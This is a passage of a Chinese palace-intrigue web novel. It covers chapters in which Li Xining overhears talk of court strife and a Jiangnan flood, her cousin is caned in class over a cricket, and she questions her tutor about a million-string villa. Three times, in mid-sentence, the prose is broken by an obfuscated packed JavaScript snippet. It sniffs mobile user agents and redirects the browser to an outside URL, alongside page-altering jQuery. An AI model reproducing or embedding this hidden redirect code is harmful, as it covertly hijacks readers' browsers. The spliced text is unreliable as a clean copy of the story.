王承徽慢条斯理地理袖口,刘良媛瞥了她一眼,这不咸不淡的话听得比林良娣做皇后都来得刺耳,她胸口起伏,气不过直接上手拽了一把王承徽的头发,跋扈道:“好话都叫你给说了!你倒是行啊,郎君今日去哪儿,你怎么知道的?他上哪儿去,现在不跟林若华说,倒是要跑过来知会你一声了?还是说郎君昨日去你那儿了?” 王承徽拂开她的手,抬起脸,眉眼间存了些倦意,闻言淡淡扯了扯嘴角:“姐姐说笑了。郎君这几日心情欠佳,连林娘子那都很少去,更何况是我?” 顿了顿,她的声音压得更低:“说句僭越的,我还巴不得他不来呢,第二日还得早起伺候,累得慌——刚刚那话我是骗她的,咱们家这小大王你还不了解吗?知道郎君往堕云观去,她一准儿生气,没准过几天就自己去看了,这万一能看出来什么……” 王承徽笑了笑:“那我们这些做‘姨妃’的,就管不着了。” 刘良媛说:“还是你坏!” 她们两个又一起笑了阵,银铃般的笑声渐渐飘远,飘过层叠的假山,消融进明媚的阳光中去。 徐昭训仰着脸,看着一望无际的天空悠悠飘过的几朵白云,从西面飘到东面,再飘到屋檐上去,被琉璃瓦一遮,就看不到了。 16. 月探金窗(五) 林娘子的住处在别院东侧,门口种着一小片湘妃竹,李息宁穿过月洞门时,竹叶被风吹得沙沙作响,她刻意放轻了脚步。 轩窗半开,里头人声隐约。 是林若华和林瑛在说话。 “妈的!” 也不知道他们之前在聊什么,李息宁刚准备进去,就听见了林瑛这一声带着十分怨气的粗口:“操他妈的!豫王这不是王八蛋吗,咱们都是一条船上的人,他这一下把船给掀翻了,谁都跑不了!他脑子有病是不是?他这不是存心拉咱们下水吗?!” 林若华的声音冷冰冰的,她沉默了阵,似乎叹了口气:“你消消火,生气也没有用。” 林瑛还是气:“李嗣昭是疯了吗?朔方杜崇圭拥兵自重不是一日两日,宅家的想法说不准,谁也不敢将事情提到明面上来,这时候打草惊蛇,万一逼得杜崇圭为了自保铤而走险!” “——那他这不是逼反是什么?!!” 林若华不说话。 林瑛回头看着他姐姐。 “姐夫之前没有跟你说过这些事吗?”林瑛一顿:“就……朝廷里面的这些事?他一点儿也不跟你讲的吗?” 李息宁听到这里,站定不动了,她决定听下去。 林若华眼睛低了低:“他这些年,你也是知道的,每次回来都醉得不省人事了,哪有那么多的正经话可讲……” 她叹了口气:“还是上次从兴善寺回来,和他聊了两句,他才说了豫王的事,边事他是从来不会在家里说的,我也是第一次听。” 林瑛本来气得走来走去,听姐姐这话,负手默立了片刻,沉吟道:“姐,你知道吗,现在连江南那边都知道,朝廷已经乱了。” “……” 林瑛说:“三月份的时候,朝廷借明年对吐蕃用兵为由,调了剑南、陇右、朔方、河北四境节度使回长安,甚至范阳公主都被掉了回来,可就朔方杜崇圭百般托辞不肯返朝,至于为何?便是因为年前,豫王参他的那一本——” “他在害怕,可朝廷也害怕,到时候若是真打起来,莫说是对吐蕃用兵的计划,怕是连着两年的税收,都不够填上这个缺。” 林若华有些惊讶:“怎会这样?” “上面的人不是一条心,都到这个时候了,还在勾心斗角。” 林瑛顿了顿,继续说:“五月,江南水患淹了两个郡,上万亩的良田都毁,百姓颠沛流离,到处都是逃难的灾民,世家不肯出钱,朝廷的钱拨下来,到了州府的手中,一部分要给当地的官吏,一部分要补去年的亏空,还有一部分要修缮河道、疏通漕运,这赈灾的钱可真剩不下多少了……连年对外用兵,税却收不上来,明年又要打仗,钱从哪里来?” 林瑛冷笑一声:“——难道还真以为现在是开天年间、是建德年间吗?宅家难道还能随随便便掏出一百万缗来,给他的儿子修房子吗?” “慎言!” 林若华喝止了他:“江南受灾,那便只说江南的事,既然都成了这样,多少也往外拿些钱出来,对外别说是我们出的,若连百姓的日子都过不下去了,我们的日子也不会好到哪去。” 林瑛摇摇头,发出一声长长地叹息:“姐姐,南边的事有我,我心中有数。姐姐且顾好自己、养好身子,以后和姐夫再有一两个孩子,我和爹娘便也就放心了。” 这话让李息宁脑中思绪一断。 是啊,她从来都没有想过,如果,林娘子有孩子的话…… 如果是个男孩的话…… 那她的郡王身份,还有存在的必要吗? 她又要被摆到什么样的地方去呢? 她忽然想起了,那些被封在箱子里,十几年都没有打开过的—— 母亲的遗物。 是啊,母亲的遗物,她不也是其中之一吗? 她手足无措地立在原地,腿脚发软,甚至涌出了一种逃跑的冲动。 可林良娣没有说话。 过了很久很久,良娣低着头,手里捏着一只荷包,萱草花的纹样绣了一半,她定定地看着它: “……他不想要孩子了。” 李息宁的心跳漏了一拍。 林良娣的侍女提着水过来,息宁见状,忙往后退了几步,退至廊下,轻轻咳嗽了一声,侍女见了她,上去和她见礼,笑道: “呀,是大王来了!我这就去告诉娘娘——” 听这声音,林娘子和林瑛在屋内一阵茫然,他俩对视一眼。 林若华把手中的东西搁到桌案上,站了起来,林瑛连忙迎出去,和她打了个照面,李息宁扶着林瑛的胳膊:“舅舅不必多礼。” 林良娣说:“什么时候来的?怎么也不说一声?” “哦,我回家听人说舅舅来了,便直接过来了,惊扰到娘娘了,是孩儿不对。” “这说的哪里话。” 林良娣笑了笑,握着她的手,带她进屋去坐下,吩咐侍女看茶。 李息宁装作没听到他们后来的谈话,在垫子上坐了一会儿,开口询问:“我刚刚听到舅舅和娘在说江南水患,严重吗?朝廷没有派人去一同治理吗?” “是派了的,可派了又有什么用,该解决的事还是解决不了。”林瑛笑了笑,说:“不过有些事放着放着,到最后其实也不算是事了。” 李息宁不解:“为什么?” “就是不了了之了。” 李息宁还是不懂:“什么叫‘不了了之’?” 林瑛说:“你还小,没有为朝廷做过事,等你长大后就知道了,朝廷的事大部分都是这样做的。” “……” 她摇摇头:“我不明白。” 林娘子说:“世上你不明白的事还多着呢。” 她取了一块手帕替她擦脸,细心地擦她的额角与脸颊,她说:“就像人会生病一样,朝廷也会生病,小病不用治,大病治不了,大概就是这个意思了。” 李息宁抬头去望林娘子:“可是娘,如果人生病了不去治的话,日子久了,小病就会拖成大病,灸不能用、针不能达、药石无医,朝廷如果也这样的话,到那时候我们该怎么办呢?” 林娘子说:“那就是你翁翁和爹爹该考虑的事了,你还小,不用想这些。” 李息宁沉默了片刻,忽然,她说:“我要是能去江南就好了。” “什么?” 林若华大为震惊:“你说什么?你要去哪儿?” “我要是和爹爹说,让他派我去江南,会不会好一些?” 息宁抬起头,望向林娘子的眼睛,很认真地说:“我马上也要到就藩的年龄了,我也想为朝廷做事。” 这话一出,林若华和林瑛两个人立刻大眼瞪小眼,林瑛按住了她,说:“好外甥,你先哪都不要去,听舅舅说——” “你涉世未深,又从小在长安长大,江南那边的情况你不了解,怎么能贸然前去呢?你是在这里跟你娘和舅舅说的,你就算真去和你爹爹说了,他也不会同意的。你可想过?——多少钦差大臣、封疆大吏都折在哪里?你一个孩子,只身前往那天高皇帝远的地方,能挽回的了什么?别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382567|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡思乱想了,安安生生在你爹娘身边待着吧。” 李息宁目光沉静,默然片刻后,又说:“可是我不怕。” 林瑛无奈:“孩子呀,这不是怕或者不怕的问题。” 李息宁倔强地说: “他们折在那里,是因为他们有顾忌,他们像山一样,一山靠着一山,一山倒了,后面的便会跟着一起倒,就算不会倒,也难免被震得飞沙走石,他们不敢做,是因为怕,可是我不怕——” “……” 林瑛被她这一番慷慨陈词整得都忘了自己刚刚想说什么了,只接着她的话头问:“好吧,那你的靠山又是谁?” 李息宁说:“我的靠山,是翁翁和爹爹,是大唐的皇帝和皇太子,我谁都不怕。” 林瑛没有再说话了。 他说不过她。 可不是么,谁能比你靠山大? 林若华眼里掠过一抹淡淡的笑意,她还是第一次听到这孩子说这样的话,虽然幼稚,但也却是振奋人心,让她疲倦的心都活过来不少,她伸出手,轻轻捋了捋她的头发,说: “傻孩子,这世上有谁是能稳坐钓鱼台的?以后的事,我们都说不准呢,等你长大了再去谈报效家国的事吧,现在最要紧的是把书读好、饭吃好、个子长好,未来的事等到未来再说也不迟呢。” 说罢,她就哄着李息宁回去了。 待她走后,林瑛忽然重重叹了口气: “息宁真是个好孩子,若是生在贞观、开元那样的好时候,未免不能成就一番事业,只可惜……” “不说那些了。” 林瑛走到林若华身边,低头,瞥了一眼她放在桌案上的、已经绣了一半的香囊,那是给李息宁的,绣着萱草花,象征着母亲的萱草花,林瑛忽然心中一软,轻声说: “姐姐,我这次回来,其实也想说,江南这次若真乱起来,长安也绝非久留之地,还记得建德二十三年吗?当时也是这样……还用我多说吗?这些年咱们在江宁与杭州都有根基,到时若有不测,咱们便走,一起走!这摊浑水,谁爱蹚谁蹚去!” 林娘子手无力地垂在膝上,她的眼中波光流转,建德二十三年的那场大火,仿佛历历在目,她叹息,哀哀地说:“走?我们走得了吗?” “走不了也得走!” “姐姐,你想想,当年姐夫能从宅家手中套出一百万缗,修一座别院才用多少?不就是为了……要不怎么说,宅家对姐夫纵容呢……甚至还有传言说……” 他话到嘴边,又生生咽回去,转而道: “总之,姐夫心里明镜似的。” 林若华想起了曾经听过的那些坊间传言,关于建德二十三年东宫大火,关于废太子李守让的死,关于李守节如何从一个闲散亲王、隔过了比他年长又一母同胞的四大王直接登上了太子之位,和后来四大王的死…… 那些谜团太蹊跷、太扑朔迷离、太荒谬了。 她知道李守节心思重、独断专行、反复无常。 可是…… 像那样的事,他真的能做出来吗? 二十年了,她和李守节认识快二十年了,当年一起在东宫读书的时候,他们还都是孩子,一转眼,他们的孩子都长这么大了…… 她真的,一天都没有看清过他吗? 窗外日影西斜,透过栅窗,将房间铺成一片暖金色,蝉声不知何时歇了,槛下一池静水,倒映着逐渐暗淡的天光。 林娘子与林瑛俱是沉默。 良久,林娘子轻声道:“你容我想想吧。” 17. 月探金窗(六) 李息宁从林娘子屋出来,天色已蒙蒙见晚,她快步往自己房中走,路过假山的时候,那里已经静悄悄了。 东雩别院的女眷不少,真正得到册封的却没有几位。 林良娣不好与人接触,一年到头都与其他院里的娘子们说不到几句话,刘、王二人亲如姐妹、形影不离,徐昭训比李息宁大不了几岁。 除了抚养自己的林娘子外,李息宁与其他娘子甚少接触,关系谈不上好,自然也谈不上坏。 只是,这三个姨娘被父亲纵容得很不讲规矩,见到自己不行礼也就罢了,不知道从什么时候起,态度也变得很差。 她不理解。 ……她们该不会真以为她听不出来好赖话吧? 不过她现在也不想计较这些,她心里装着的,是林瑛说起的事。 什么豫王、什么朔方杜崇圭、什么江南水患……还有那个一百万缗,都是些她闻所未闻的,甚至所有人都心照不宣,唯独她不知道而已。 她不喜欢这种感觉。 这种,置身事外的感觉。 她放慢脚步缓缓站定,立在房门口,抬起头。 阳光从房梁上方照了下来,一团阴翳之中,她看向自己房门正中央的匾额,四个遒劲有力的大字,为——天下归仁。 《论语》有云:颜渊问仁。 子曰:克己复礼为仁,一日克己复礼,天下归仁焉。 这是爹爹写给她的字,这么些年了,不论风吹日晒,一直悬挂在她的房门的正上方。 此刻李息宁看着那四个字,心里在想:爹爹是希望我做克己复礼的人吗? 非礼勿视、非礼勿听、非礼勿言、非礼勿动。 不看、不听、不闻、不问。 他希望我成为这样的人吗? 可他自己都做不到。 次日,李息宁到学堂读书,脑子里还在想这件事。 晨雾初散,阳光透过窗棂,崇文馆内飘着一阵琅琅读书声,稚音与清声交错,却有一丝细弱的虫鸣混在其中,时断时续,格外扎耳。 李息宁的思绪被这声音给扰了,她转头,看向四周。 和她一起读书的大多是宗室子弟,都按辈分依次坐好——里头有比李息宁辈分高、年纪相仿的十二大王、十四大王,也有同辈的李宝宁、蕙娘与三郎,还有些刚启蒙的小辈,最末头的便是年纪最小的阿卯。 阿卯入塾没几日,听着枯燥的经义,脑袋一点一点的,早就困得睁不开眼了。 天还未亮他就被大伴送到了崇文馆,人还没睡醒,便一眼瞧见了端坐在前排温习课业的李息宁,登时眼睛一亮,颠颠地想凑过去,脆生生喊:“是叔叔!我要挨着叔叔坐!” 可李息宁身侧早被十二大王、十四大王占着,两个小叔叔虽与她同岁,论辈分却在其上,哪里轮得到连大名还未正式取的阿卯坐过来。 李息宁不想坏了规矩,小声说:“快回去、回去,一会儿老师来了。” 阿卯瘪着嘴,退回到自己的小案前。 这虫鸣实在是吵的有些讨人厌了。 十二大王时不时扭一下脑袋,左瞧瞧,右看看,似乎也想找出这声音的来源,十四大王拽他的袖子,示意他莫要左顾右盼了,当心老师发飙。 今日讲学的是卢翰林,官做得不大,学问却是很高,在宫中讲了半辈子的学,脾气大得很,板起脸来六亲不认,崇文馆里的学生没有人是不怕他的,据说李守节小时候都被他打过。 课上到一半,那唧唧的虫鸣声愈发嘹亮,卢翰林的脸终于也是挂不住了。 “停下!” 只见这老翰林眉头拧成一团,清了清嗓子,冷硬的声音立刻压过了学生们的读书声,偌大的书房一时间静得落针可闻。 他说:“都站起来。” 于是十几人你看看我,我看看你,纷纷起身,卢翰林鹰一般锐利的目光扫过众人:“谁带了不该带的东西,自己拿出来,不要让老夫下去挨个的找。” 这话一出,李息宁听到背后传来一阵悉窣。 她略略回头,李宝宁的脸都白了。 果然。 李息宁就知道是他! 毕竟其他人,除了赵王一家的三个孩子,还没有谁是敢在卢翰林这尊活阎王的课上胡作非为的。 “好,既然没有人承认,那老夫可就挨个找了!” 说着,卢翰林站了起身,他虽然已年过六旬,但步履如飞,他先是走到十二大王的面前,吓得十二大王肩头一缩,委屈道:“老师,真不是我……” “袖子举起来!” 十二大王前不久因为敞着领子穿衣被他打过,手心现在还痛着呢,他是真不想再被打了,百般无奈只好抬起了袖子。 李宝宁眨着眼睛,汗都要下来了。 那蛐蛐就被他藏在袖中,竹片编成的小笼随着虫鸣一起震动,起先还不觉得,卢翰林走过来这一小会儿,他半截手臂都发麻了。 他紧张兮兮地观察卢翰林的动作,心里快速琢磨着该怎么把这个烫手山芋扔出去…… 有了! 他看向李息宁—— 李息宁在他前面,他可以趁卢翰林检查李息宁的时候把这东西丢远些,老师岁数那么大,眼都花了,一定不知道这蛐蛐是谁带过来的。 他在脑中想了一遍自己的计划,自认为天衣无缝,很是得意地想:我可真聪明! 不过他没得意多久。 卢翰林摸了十二大王和十四大王的袖子后,竟然略过了李息宁,径直朝他走来,他一瞬间慌了神,也来不及多想,索性往起一站—— “老师!” “怎么了?” “学、学生腹痛难忍……”他红着脸,喊道:“我要出恭!” 卢翰林淡淡道:“去吧。” 他松了口气,迈开步子出去,但刚走两步又被喝住:“慢着。” 卢翰林走到他面前,绯红色的官袍亮的刺眼,只见卢翰林伸手往他袖中一探,李宝宁来不及躲,便被取出一枚编织精巧的竹笼,嘹亮的虫鸣瞬间填满了整间屋子。 卢翰林冷笑道:“学生,此是何物?” “啊……” 李宝宁支支吾吾,脸上也不好看:“这、这……是……” 他见在劫难逃,索性开始耍赖:“是谁?!——是谁把这东西放我袖子里面的?!!是谁做的,老实交代!” 李息宁:“……” 还得是表哥。 卢翰林用力一拍桌案:“还敢狡辩!” 李宝宁也是不服气,他指着李息宁:“老师!您怎么只搜十二大王和十四大王,只搜我,您怎么不搜搜永宁郡王!” 李息宁:“……” 卢翰林被他气得鼻子都歪了:“永宁郡王素来端正,岂会做此等顽劣之事?” “哼!那可不一定!” 宝宁挑起眉毛,很是不服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382568|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气:“我还说这蛐蛐就是他带我捉的呢!我看呀,就是您既是舅舅的老师,又是他的老师,是舅舅提前跟您打点好关系了,所以您才偏着他!” 卢翰林:“……” 李息宁:“……” 其他所有人:“…………” 十二大王没忍住扭头看他,眼里满是不可思议: 这…… 这在瀚北海待过的人就是不一般,有骨气,有胆气,有股子韧劲! 要不怎么说北地多慷慨悲歌之士呢? 真是风萧萧兮易水寒,壮士一去兮…… “好!” 卢翰林肺都要气炸了,他打理整齐的髯须在空中抖个不停:“好、好好好,那么你说,谁是你舅舅?” 李宝宁说:“自然是皇太子。” “皇太子是储君,在这朱雀门之内,只论君臣不论私情,你只当是在你自己家里吗?攀个甚么亲戚?!” 李息宁见状,忙出来打圆场:“表哥,你那蛐蛐都叫了小半个时辰了,我在你前面听得一清二楚,既然老师已经指出,你又何必拖我下水?还不快向老师认错。” “那是我好不容易才逮到的好虫!” 李息宁道:“我知道你那是好虫,私下玩玩便也罢了,带到学堂里做什么?” “那是我在路上逮到的!” 他还不死心,心知拗不过卢翰林,自己也不占理,只能讨饶:“老师,我认错,我认错了,我以后课上再不玩了,您还给我好不好?” 卢翰林脸都快黑成一口锅了,当然不会遂他心意,劈手将竹笼狠狠掼在地上—— 啪! 笼子四分五裂,蛐蛐也受惊没了踪影。 李宝宁“啊”了一声,满脸心疼。 “好你个李宝宁,犯了错不知悔改,还敢栽赃诬陷胡乱攀扯!” 卢翰林几步取来了戒尺,怒道:“赵王与公主平日里难道就是这般教你的?——伸出手来!” 李宝宁也是犟,死活不肯乖乖挨打,卢翰林拽着他的胳膊,将他手拎了出来,对着手心的嫩肉劈里啪啦便打了下去—— 啪! 啪! 李宝宁疼得龇牙咧嘴,连连求饶:“啊,老师我错了,我错了,我再也不玩了,不要打了,不要再打了……” 卢翰林岂会理他这些,一刻未停地打了二十来下,一下比一下重,打到最后李宝宁眼眶微红,几乎都要哭了。 蕙娘见状,小声犯嘀咕道:“哎呀,二哥真是活该,早让他不要捉那东西,这下好了,自己贪顽也就罢了,还连累着丢了家里的人。” 这话音刚落,卢翰林便目光一转,落在她身上:“你也伸手!” “啊?我?” 蕙娘脸色骤变,眨了眨眼:“老师!我又没玩蛐蛐,凭什么我也要挨打?” “幸灾乐祸,罪加一等!” 戒尺再落,蕙娘哭得上气不接下气。 “呜呜呜老师我错了,我再也不敢了,呜呜呜……” 旁边的三郎看哥哥姐姐挨个受罚,心里想着怎么着下一个也要轮到自己了,吓得腿脚发软,连滚带爬往李息宁身边逃,死死拽着她的衣服: “表哥,表哥救我!我不想挨打!!” 卢翰林说:“你也给我站好!吵吵嚷嚷的,成何体统!” 这后半堂课,崇文馆戒尺声此起彼落,李息宁夹在中间,左右为难,也不知该如何是好。 18. 月探金窗(七) 散学后,李息宁带着宝宁、蕙娘几人在殿后倚栏乘凉。 清风绕廊,渠水从廊下缓缓流过,冲击两岸卵石,发出泠泠声响。 她用蘸了渠水的手帕在李宝宁手心擦拭,力道很轻。 李息宁双目低垂,鸦羽般的眼睫微微颤动,在眼底抖落下一片阴翳,更衬得那双褐色眼瞳清浅如许。 她说:“表哥,论年岁,你是我们几个中最大的,不做表率倒也罢了,反连累大家受罚,回头若姑姑问起,我可会不替你遮掩。” 帕子上绣着萱草花,浸满渠水后带着丝丝凉意,擦得人掌心发痒,宝宁情不自禁地缩了缩手,软声道: “不要嘛……” 蕙娘凑过来,脸粉扑扑的,晃着小手:“表哥,我手也疼,你也给我擦擦呗~!” “好。” 李息宁弯腰,将手帕又浸入渠水中,拎上来拧了半干,轻轻擦拭蕙娘细软的小手。 “疼吗?” 她动作很轻,温声问。 蕙娘眼眶还红着,声音囔囔的:“……是、是有一点。” 李息宁垂着眼睛:“课上自有课上的规矩,孟子云:‘不以规矩,不能成方圆’,若人人都这样依着自己的性子恣意妄为,书还怎么读?” 她没有教训谁的意思,只是话到了这里,三言两语说罢,似乎是想起了什么,转头望向廊外—— “三郎呢?手疼不疼?要不要也来擦一擦?” 三郎的脑袋从柱子后探出,他举起胳膊,晃着刚刚泡在渠水里的手,笑嘻嘻道: “表哥,你瞧!我直接放水里了,这水凉丝丝的,舒服极了!二哥三姐,你们也来试试吧!” 蕙娘不语,只是在心里白了他一眼: 这小子真是傻。 什么破水,还能有表哥亲手用帕子擦着舒坦?真是半点不懂人心! 看看李宝宁吧! ——宝宁皱着眉,本就俊俏的脸蛋更加惹人怜爱,他似乎生来就懂如何讨人欢喜似的,只要是他想,就没人能不喜欢他、不在意他。 他看着蕙娘,清澈的眼里满是委屈,小声催促: “蕙娘,你能不能快些,老师打你又没有用力气,我的手可还疼着呢……” 看吧! 看二哥多会装可怜! 李息宁说:“我看看。” 说着,她拉过他的手仔细察看。 宝宁的手骨肉匀停,掌心浮着几道戒尺打出的红痕,肿得发紫,应该不是装的…… 卢翰林也是被他给气狠了,他平时打人没这么用力。 李息宁动作慢了慢,在他的指尖稍作停留。 他的指腹上带了层茧,薄薄的一层,比别处的肌肤略硬些,所以很轻易就能觉察出来,李息宁想,这应该是他平日里拉弓练出的,之前她早听说说二郎表哥小小年纪就能开一石半的弓,剑法也使得很好,她还没和他较量过呢。 李息宁盯着他的手看了有一阵子。 李宝宁探着脑袋看她的脸:“你在看什么?” 李息宁回神,抽手,拍了下他的掌心。 “喂,你干嘛!” 宝宁疼得龇牙咧嘴。 “现在知道疼了?”李息宁说:“那是谁叫你课上乱攀扯我的?还把我爹爹搬出来,你说说,我是何时带你捉过蛐蛐?” 李宝宁讪讪道:“好表弟,怎么还秋后算账的?我错了,我再也不敢了。” 李息宁笑了笑,捏着他的手不让他抽走,宝宁怕她记仇又要打自己,想着说些漂亮话哄她,还未开口,就见永宁郡王低下头,对着他掌心呵了一口气…… 软软的。 很轻。 带着鸡舌香的芬芳。 他一瞬间愣住了。 永宁郡王语气温柔,抬起眼看他,眼中波光流淌: “表哥,还疼吗?” “疼……” “那我再吹吹。” 蕙娘:“……” 她又不愿意了。 不是,怎么这李宝宁总是有特殊待遇?她不管,她也要! 于是她拽着李息宁的衣袖撒娇:“表哥,我也要嘛!我手也疼,我也要表哥吹!” “好,好。” 三郎本来正在撸着袖子玩水,一抬头,正见他们几个不嫌热似的凑一起腻歪,他浑身起鸡皮疙瘩都起来了,瘪了嘴朝他们喊道:“喂!你们在做什么呢?水里多凉快,几个人吹来吹去的恶心不恶心?!” “要你管!” 蕙娘回头瞪他:“你想凉快,自个儿哪儿凉快哪儿待着去!” 三郎顶嘴:“我这儿就最凉快!” 李息宁比宝宁小一岁,身形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382569|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略矮些,她低头给蕙娘吹手心时,宝宁很轻松地便能看见她的头顶,幞头脚柔软的细带垂落在肩上,领口微敞,露出一段像鹤一样、细白的后颈。 不知为何,他脸上竟然有些发烫。 而她也恰好转头,两人视线猝不及防撞了个正着。 李息宁:“……” 李宝宁:“……” 李息宁觉得他有些古怪,但说不上来,却也没和他分开,两人依旧肩膀挨着肩膀。 她仰着脑袋,眼睛里流转着细腻的光,瞳仁晶莹剔透,像琥珀一样。 迟了半晌,李宝宁才想起来话该怎么说,他眨眨眼: “表弟……” “怎么了?” 他说:“你身上好香,香香的,你是涂什么东西了吗?” 李息宁一愣:“……” 她下意识拎起袖子用鼻尖去闻,疑惑道:“有吗?” 李息宁想了想,说:“或许是爹爹屋里的味道,昨晚在他屋里吃霞供来着,他屋里香熏得重,估计是时间久了沾上去了……” 话音未落,她瞥见卢翰林的身影从门洞掠过,于是忙收敛神色,正了衣冠,匆匆道: “老师来了,我有事寻他,先走了。” 说罢便转身快步离去。 李宝宁的目光跟着她看了许久,一直到她出了月洞门,隐于墙后看不到了,才缓缓转了回来。 三郎站在他眼前。 定定地瞧他,兄弟俩四目相对。 其实从刚刚开始,三郎就一直在观察他们几个。 他先是敏锐地注意到了李宝宁大不对头的模样,再加上那天在胭脂铺里,他是亲眼所见这俩人是如何旁若无人地亲昵……还有蕙娘! 但凡肩膀上顶着的那个东西不是夜壶,就能看出她对永宁郡王的想法不一般! “啧啧,家门不幸啊……” 他摇头晃脑地感叹。 李宝宁:“?” 怎么就家门不幸了? 这小子在说什么? 蕙娘一肚子火正愁没地方撒呢,挥手撵他:“去!啧什么啧?吵死了!你不是爱玩水吗?玩你的水去!” “我说——” 三郎看着他们,语气揶揄: “你们三位,是个什么关系啊?我怎么瞅着有点儿不对劲呢?” 19. 月探金窗(八) “老师!” 李息宁脚步轻快,追着卢翰林一路出了垂花门,在他身后唤道。 崇文馆依着宫墙而建,檐上琉璃瓦被晒出一片刺眼的白,热辣的风穿街而过,檐下铁马被风吹得左摇右摆,发出阵阵清响。 卢翰林驻足回身,毕恭毕敬地向她见礼:“大王。” 李息宁上前扶住他的胳膊:“老师不需多礼。” 临近正午,太阳直直地从头顶照下来,照到她的身上,照向她身后的宫墙。朱红色的墙漆映在地上,长长的一道,贴着墙根,如一条暗红色的河。 李息宁站在宫墙下,与这红墙绿瓦,面前的白发翰林,一起融进朦胧的红与金当中去。 李息宁说:“方才课上兄妹顽劣,打搅了老师讲学,不过他们本性并不坏,老师莫要介怀。” 卢翰林摆摆手,似乎很是大度:“不过几个孩童而已,老夫岂会当真计较?” 李息宁笑了笑。 明明在课上气得胡子都翘了。 不过李息宁没说什么,她陪着卢翰林走了一段,这并不是去翰林院的方向,便问:“老师是要去省里吗?” “是,有些事情商议。” 卢翰林早年在门下省做过谏官,这里离门下省不远,平时人来人往,此刻却一个人影都见不到,很是清净…… 倒是个说话的良机。 李息宁继续跟着他:“学生送老师。” “大王请留步吧。” 李息宁扶着他的手臂,执拗道:“卢公在外是尊长,在内是恩师,晚辈相送,并无不妥。” 话说到了这份上,卢翰林也不好推辞。 一路无话,将至省中,卢翰林正要作别,李息宁才姗姗开口:“我有一件事,想要请教老师。” “大王请讲。” 二人立在一棵老松旁,李息宁语气平和,不紧不慢道:“前些日子,我听闻了些……旧事,但苦于无处求证,于是想着先来请教老师——” “请问,这一百万缗,是怎样一笔数目?” 闻言,卢翰林眉心微微隆起,却又很快展开:“原来大王是想问这个。” 李息宁点头。 卢翰林说:“那臣不妨举个例子——大王如今身为从一品郡王,按照朝廷规制,岁俸杂支加总,一年是有多少?” 李息宁答:“不过二百缗。” 卢翰林又说:“那这样看,问题便简单了,如果大王想要靠自己拿出这一百万缗,单凭岁奉需要多久?” 李息宁:“……” 她不说话了。 这笔帐她早算过,需要—— 五千年。 如果单凭她自己的俸禄,再加上各种收支,建一座东雩别院,需要五千年。 卢翰林说:“看来大王心里已经有了答案。” 李息宁忙又追问:“那请问老师,宅家一向尚俭,为什么要动用这么多的钱去……修一座院子呢?” “……” 卢翰林把手揣进袖子,没有急着答话,而是把目光望向别处—— 他说:“大王你看,那是什么。” 李息宁顺着他的目光看去,是一棵椿树。 椿树生得枝繁叶茂,庞大的根系将地砖撑开,极有生命力地顶出一个个鼓包,甚至钻出地面的根系,像是婴儿的手臂。 “那棵树在我第一次走进朱雀门的时候,便已经矗立在了此地,至今已逾三十年,历经风吹雨打,已经长得十分巨大,当年,我的同僚们都说,等再过上二十年,这棵树恐怕就要成精了——” 卢翰林说:“树活得久了,就会不像树,其实人也一样。” 李息宁:“……” 确实。 树犹如此,人何以堪。 那国家呢? 卢翰林没有将最后的这句话说出口,其实,这个问题他思索过很多年,一直没能得出答案。 “当年东宫失火,陛下原意是将大殿重新修缮,但皇太子提议翻修旧邸,多次在朝堂上与陛下据理力争,僵持不下,陛下由是准了。” “永兴元年,臣在洛阳任按察使,听闻太子欲修别院,因造价过巨而被门下省几次封驳,无法上呈御前,太子便请动用私帑,拿出了一百万缗,而开天年间,兴庆宫翻修一次的用度大概是二十万缗。” 李息宁说:“这些钱是……” 卢翰林说:“当然还是由陛下出的了。” 李息宁追问:“宅家既然出钱,那为何又因为修别院的事,和皇太子打擂台呢?” 卢翰林叹了口气: “那都是做给别人看的。” 李息宁还是不解,心想:谁?做给谁看? 朝臣吗? 她实在是不懂了。 “老夫只是外臣,两宫之事自然不尽得知,大王心中若有困惑,不妨直接问皇太子殿下,毕竟,” 卢翰林摇摇头:“这些事从旁人口中得知,还是从殿下那里得知,对于大王而言,还是稍有不同的。” 李息宁点点头:“多谢老师,我明白了。” 卢翰林是不想他们相疑,是好意。 她应该领情的。 但是…… 她忍不住地想,修一座别院的事,她确实可以从李守节那里得到答案,但—— 之前的那个人呢? 李守节不是生来就是皇太子,在他成为太子之前,原先的那个太子呢? 那个人,应该叫他大伯吧,豫王的父亲,公主和李守节口中的大哥。 他为什么会被废掉? 他又做错了什么? 无数疑问仍堵在胸中,可卢翰林已示意她适可而止了。 好吧,她想。 但她没有动,就这么原地站着,像根木头一样嵌在地里,过了好一阵子,她才重新开口:“还有一件事,我想请教老师。” “大王请讲。” 李息宁抬起眼睛: “老师您……知道堕云观吗?” …… 